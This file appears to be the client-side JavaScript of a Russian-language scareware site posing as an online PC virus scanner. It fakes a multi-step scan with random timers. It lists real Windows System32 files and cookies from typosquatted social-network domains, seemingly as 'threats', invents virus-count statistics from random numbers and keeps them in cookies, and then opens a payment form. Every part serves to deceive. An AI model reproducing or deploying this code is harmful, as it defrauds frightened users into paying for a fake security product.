var domain_name='pc-bastion.com';var PayForm=Class.create({overlay:null,pay_form:null,initialize:function(content){this.content=content;Event.observe(window,"resize",this.resizeOverlay.bindAsEventListener(this));Event.observe(window,"scroll",this.resizeOverlay.bindAsEventListener(this));this.overlay=new Element("div",{"class":"overlay",style:"display:none;"});var c_button=new Element("img",{src:"http://"+domain_name+"/images/wcb-trans.png","class":"wcb",width:22,height:22,alt:"Закрыть",title:"Закрыть"});c_button.observe("click",this.close.bindAsEventListener(this));this.pay_form=new Element("table",{"class":"wind",style:"display:none;"}).insert(new Element("tbody").insert(new Element("tr").insert(new Element("td",{"class":"w_caption"}).insert(c_button))).insert(new Element("tr").insert(new Element("td",{"class":"w_content_1"}).insert(new Element("div",{"class":"w_content_2"}).insert(new Element("div",{"class":"w_content_3"}).update($(this.content).innerHTML))))).insert(new Element("tr").insert(new Element("td",{"class":"w_bottom"}))));$("body").insert(this.overlay).insert(this.pay_form);$(this.content).remove();},show:function(){new Ajax.Request("http://"+domain_name+"/main/activity",{method:"GET"});this.resizeOverlay();new Effect.Appear(this.overlay,{from:0,to:0.4});new Effect.Appear(this.pay_form);},resizeOverlay:function(e){if(this.overlay){var scroll_h=document.viewport.getScrollOffsets();scroll_h=scroll_h[1];var viewport=document.viewport.getDimensions();this.overlay.style.width=viewport.width+"px";this.overlay.style.height=viewport.height+scroll_h+"px";}if(this.pay_form){this.pay_form.style.top=Math.round(viewport.height/2+scroll_h-this.pay_form.getHeight()/2)+'px';this.pay_form.style.left=Math.round(viewport.width/2-this.pay_form.getWidth()/2)+'px';}},close:function(){new Effect.Fade(this.overlay,{from:0.4,to:0});new Effect.Fade(this.pay_form);}});var pay_form=null;pay_form={show:function(){alert("Пожалуйста подождите. Идет загрука страницы.")}};document.observe("dom:loaded",function(){pay_form=new PayForm("pay_form_c");});
var countries=new Array,countriesLow=new Array;function validateCf(f){var v=true;$(f).getElements().each(function(el){if(el.getValue()=='')v=false;});if(v){alert('Ваше письмо успешно отправлено!');f.reset();}else{alert('Все поля обязательны для заполнения!')}return false;}function random(n,m){return n+Math.floor((m-n+1)*(Math.random()%1));}
var preloader_timer=null;
function showPreloader(color,number){
	var width1=$(color+"_preloader_"+number).getWidth(),width2=$("gray_preloader_"+number).getWidth();
	if (width1<width2){
		$(color+"_preloader_"+number).style.width=(width1+3)+"px";
		preloader_timer = setTimeout("showPreloader('"+color+"','"+number+"');",300);
	}
}
var System32Files = ['System32/aaclient.dll','System32/accessibilitycpl.dll','System32/apphelp.dll','System32/basecsp.dll','System32/BdeHdCfgLib.dll','System32/BWContextHandler.dll','System32/catsrvut.dll','System32/certCredProvider.dll','System32/CHxReadingStringIME.dll','System32/cngprovider.dll','System32/DDACLSys.dll','System32/DDEML.DLL','System32/DeviceMetadataParsers.dll','System32/dpnhupnp.dll','System32/eappprxy.dll','System32/eapp3hst.dll','System32/Faultrep.dll','System32/fdeploy.dll','System32/framedynos.dll','System32/fvecerts.dll','System32/GameUXLegacyGDFs.dll','System32/Groupinghc.dll','System32/InfDefaultInstall.exe','System32/IPBusEnumProxy.dll','System32/ir41_qcx.dll','System32/javaws.exe','System32/KBDARMW.DLL','System32/KBDSL1.DLL','System32/schtasks.exe','System32/SCardSvr.dll','System32/SearchIndexer.exe','System32/shwebsvc.dll'];
var CookiesFiles = ['cookies/vkontroler.ru','cookies/planetaffoto.ru','cookies/vkontakter.ru','cookies/vkontatke.ru','cookies/odnoklassnikki.ru','cookies/vkontakle.ru','cookies/google.ru','cookies/aports.ru','cookies/vkontatke.ru','cookies/1kinos.com','cookies/2012filmi.ru','cookies/vkontatke.ru','cookies/fishkii.net','cookies/vkontatke.ru','cookies/fishkii.net','cookies/vksupport.ru','cookies/vkontakte.activates.ru','cookies/vkontatke.ru','cookies/vkontatle.ru','cookies/odnosexxkniki.ru' ,'cookies/odnosexkniki.ru'];
var scan_step_time_interval = new Array;
scan_step_time_interval[2] = new Array;
scan_step_time_interval[4] = new Array;
var tmp=0,tmp1;
for (i=1;i<=4;i++){
	tmp1 = random(7000,10000);
	scan_step_time_interval[2][i] =tmp1;
	tmp+=tmp1;
}
tmp=0;
for (i=1;i<=6;i++){
	tmp1 = random(5000,7000);
	scan_step_time_interval[4][i] =tmp1;
	tmp+=tmp1;
}
scan_step_time_interval[2][5] = 37200-tmp;
scan_step_time_interval[4][7] = 37200-tmp;
function startScan(){
	new Effect.Parallel([new Effect.Appear('scan_step_2',{sync:true}), new Effect.Fade('scan_step_1',{sync:true})],{duration:0.7});
}
function scanStep2(){
	new Effect.Parallel([new Effect.Appear('scan_step_3',{sync:true}), new Effect.Fade('scan_step_2',{sync:true})],{duration:0.7});
	setTimeout("scanStep3()",random(3000,4000));
}
function scanStep3(){
	new Effect.Parallel([new Effect.Appear('scan_step_4',{sync:true}), new Effect.Fade('scan_step_3',{sync:true})],{duration:0.7,afterFinish:function(){scanStep4(1);}});
}
function scanStep4(step_number){
	if (step_number>1)new Effect.Parallel([new Effect.Appear('scan_step_item_complete_4_'+(step_number-1),{sync:true}), new Effect.Fade('scan_step_item_loading_4_'+(step_number-1),{sync:true})],{duration:0.3});
	if (step_number==8) setTimeout("scanStep5()",random(3000,4000));
	else{
		clearTimeout(preloader_timer);
		new Effect.Appear('scan_step_item_4_'+step_number,{afterFinish:function(){
			showPreloader('green',4);
			setTimeout("scanStep4("+(step_number+1)+")",scan_step_time_interval[2][step_number]);
		}});
	}
}
function scanStep5(){
	new Effect.Parallel([new Effect.Appear('scan_step_5',{sync:true}), new Effect.Fade('scan_step_4',{sync:true})],{duration:0.7});
}

function scanStep6(){
	new Effect.Parallel([new Effect.Appear('scan_step_6',{sync:true}), new Effect.Fade('scan_step_5',{sync:true})],{duration:0.7});
}

function scanStep7(){
	if ($('accept_rules').checked) pay_form.show();
	else alert('Для продолжения необходимо принять "Пользовательское соглашение".')
}

function getCookie(c_name){
	if (document.cookie.length>0){
		c_start=document.cookie.indexOf(c_name + "=");
		if (c_start!=-1){
			c_start=c_start + c_name.length+1;
			c_end=document.cookie.indexOf(";",c_start);
			if (c_end==-1) c_end=document.cookie.length;
			return unescape(document.cookie.substring(c_start,c_end));
		}
	}
	return "";
}

function setCookie(c_name,value,expiredays){
	var exdate=new Date();
	exdate.setDate(exdate.getDate()+expiredays);
	document.cookie=c_name+ "=" +escape(value)+
	((expiredays==null) ? "" : ";expires="+exdate.toGMTString());
}

var currentTime = new Date(), statistic_data = new Hash;
statistic_data.set('statistic_new_virus_count', getCookie("statistic_new_virus_count")!=""?getCookie("statistic_new_virus_count"):random(5,30));
statistic_data.set('statistic_total_check', getCookie("statistic_total_check")!=""?getCookie("statistic_total_check"):random(20000,30000));
statistic_data.set('statistic_today_check', getCookie("statistic_today_check")!=""?getCookie("statistic_today_check"):random(1000,2000));
statistic_data.set('statistic_found_virus', getCookie("statistic_found_virus")!=""?getCookie("statistic_found_virus"):random(500,1000));
var statistic_timeout;

document.observe('dom:loaded',function(){
	$("statistic_last_update").update(currentTime.getFullYear()+"."+(currentTime.getMonth()+1<10?"0"+(currentTime.getMonth()+1):currentTime.getMonth()+1)+"."+(currentTime.getDate()<10?"0"+currentTime.getDate():currentTime.getDate())+" "+(currentTime.getHours()<10?"0"+currentTime.getHours():currentTime.getHours())+":"+(currentTime.getMinutes()<10?"0"+currentTime.getMinutes():currentTime.getMinutes())+":"+(currentTime.getSeconds()<10?"0"+currentTime.getSeconds():currentTime.getSeconds())+"");
	statistic_data.each(function(pair){$(pair.key).update(pair.value);});
	for (i=1;i<=4;i++)$("statistic_ip"+i).className=random(0,100)>50?'ok':'err';
	statistic_timeout = setTimeout("updateStatisticTimer(300);",1000);
});
function updateStatisticTimer(update_time){
	update_time--;
	var tmp = (update_time % 60), min = (update_time -tmp)/60, sec = tmp;
	$("statistic_next_update").update((min<10?"0"+min:min)+":"+(sec<10?"0"+sec:sec));
	if (update_time==0) updateStatistic();
	else statistic_timeout = setTimeout("updateStatisticTimer("+update_time+");",1000);
}
function updateStatistic(){
	clearTimeout(statistic_timeout);
	new Effect.Parallel([new Effect.Opacity("statistic_container", { from: 1.0, to: 0.2 , sync: true}), new Effect.Appear("statistic_container_loader",{sync: true})],{duration:2});
	setTimeout("updateStatistic1()",random(5000,7000));
}
function updateStatistic1(){
	new Effect.Parallel([new Effect.Opacity("statistic_container", { from: 0.2, to: 1.0 , sync: true}), new Effect.Fade("statistic_container_loader",{sync: true})],{duration:2});
	$("statistic_last_update").update(currentTime.getFullYear()+"."+(currentTime.getMonth()+1<10?"0"+(currentTime.getMonth()+1):currentTime.getMonth()+1)+"."+(currentTime.getDate()<10?"0"+currentTime.getDate():currentTime.getDate())+" "+(currentTime.getHours()<10?"0"+currentTime.getHours():currentTime.getHours())+":"+(currentTime.getMinutes()<10?"0"+currentTime.getMinutes():currentTime.getMinutes())+":"+(currentTime.getSeconds()<10?"0"+currentTime.getSeconds():currentTime.getSeconds())+"")
	$("statistic_next_update").update("05:00");
	statistic_timeout = setTimeout("updateStatisticTimer(300);",1000);
	
	statistic_data.set('statistic_new_virus_count', parseInt(statistic_data.get('statistic_new_virus_count')) + random(1,5));
	statistic_data.set('statistic_total_check', parseInt(statistic_data.get('statistic_total_check')) + random(200,500));
	statistic_data.set('statistic_today_check', parseInt(statistic_data.get('statistic_today_check')) + random(200,500));
	statistic_data.set('statistic_found_virus', parseInt(statistic_data.get('statistic_found_virus')) + random(10,30));
	
	statistic_data.each(function(pair){
		setCookie(pair.key,pair.value,30);
		$(pair.key).update(pair.value);
	});
}